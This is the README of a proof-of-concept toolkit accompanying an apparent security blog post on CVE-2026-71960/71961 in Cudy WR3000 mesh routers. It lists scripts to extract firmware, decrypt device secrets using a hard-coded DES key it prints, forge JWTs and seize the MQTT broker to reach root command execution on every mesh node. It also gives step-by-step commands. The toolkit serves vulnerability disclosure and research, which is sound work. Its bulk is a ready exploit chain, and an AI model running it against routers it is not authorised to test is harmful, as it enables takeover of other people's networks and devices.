
PoC toolkit that unpacks router firmware, decrypts device secrets, forges JWT tokens, and exploits CVE-2026-71960/71961 to take over Cudy WR3000 mesh MQTT brokers.
PoC tooling for the Hunt-Benito article "The Same Key Opens Every Box: CVE-2026-71960 — Hard-coded JWT Secret in Cudy's WR3000 Mesh MQTT Broker" (https://www.hunt-benito.com/blog/the-same-key-opens-every-box-cve-2026-71960-hard-coded-jwt-secret-in-cudy-wr3000-mesh-mqtt/)
Chains with CVE-2026-71961 (OS command injection via the same MQTT mesh interface) to reach root command execution on every node of a Cudy WR3000 2.0 mesh running firmware before 2.5.24.
| File | Purpose |
|---|---|
extract_firmware.py | Unpack a public Cudy sysupgrade .bin (hboot1tag + UBI) into a full OpenWrt filesystem. Verified against 2.4.14 / 2.4.15 / 2.5.24. |
decrypt_bdinfo.py | Derive the DES key (DES_string_to_key("88T3j05dtFu8="), zero IV — recovered from libbdinfo.so) and decrypt a bdinfo MTD dump from your own device, revealing deviceid and the fleet-wide secret. |
forge_jwt.py | Mint an HS256 token that satisfies every check in mosquitto_auth_unpwd_check (exp floor 1577826000, username grant containing the deviceid). Self-verifies round-trip. |
mqtt_takeover.py | CONNECT to the broker on TCP 1883 with the forged JWT, subscribe to router/#, and (optionally, --cmd) exercise the command.lua → io.popen sink of CVE-2026-71961. |
pip install pycryptodome pyjwt paho-mqtt
# 1. unpack the public firmware (no device needed)
python3 extract_firmware.py WR3000V2-R116-2.4.15-20251030-114751-sysupgrade.bin --out rootfs --keep-sqfs
# 2. confirm the DES key literal ships in the image
strings -n 8 rootfs/usr/lib/libbdinfo.so | grep -E '^[A-Za-z0-9+/]{12}=$'
# 88T3j05dtFu8=
# 3. decrypt a bdinfo dump from YOUR OWN device (2.4.x exposes /dev/mtd*)
python3 decrypt_bdinfo.py bdinfo.bin
# 4. forge a token for the recovered deviceid/secret
python3 forge_jwt.py --deviceid 012345678901 --secret '<secret>'
# 5. passive: authenticate and listen on the mesh
python3 mqtt_takeover.py --host 192.168.10.1 --deviceid 012345678901 --secret '<secret>'
auth_plugin_jwt.so calls bdinfo_get_value("deviceid") and
bdinfo_get_value("secret") at broker startup; the secret value is the
HS256 signing key for all mesh JWTs.exp check is exp >= 1577826000 (2019-12-31T21:00:00Z); the
time() call result is never compared — tokens never actually expire.alg: none is rejected (EINVAL when a key is supplied) — the secret is
genuinely required; there is no alg-confusion shortcut.mosquitto_auth_acl_check() returns SUCCESS unconditionally — a accepted
CONNECT grants read/write on every topic.0.0.0.0:1883 (2.4.x) means no TLS client certificate
is needed. Fixed firmware 2.5.24 deletes the 1883 listener, drops the
bdinfo secret entirely, and relies on mutual TLS.For authorised security research and education only. Run solely against devices you own or have explicit written permission to test. The authors assume no liability for misuse.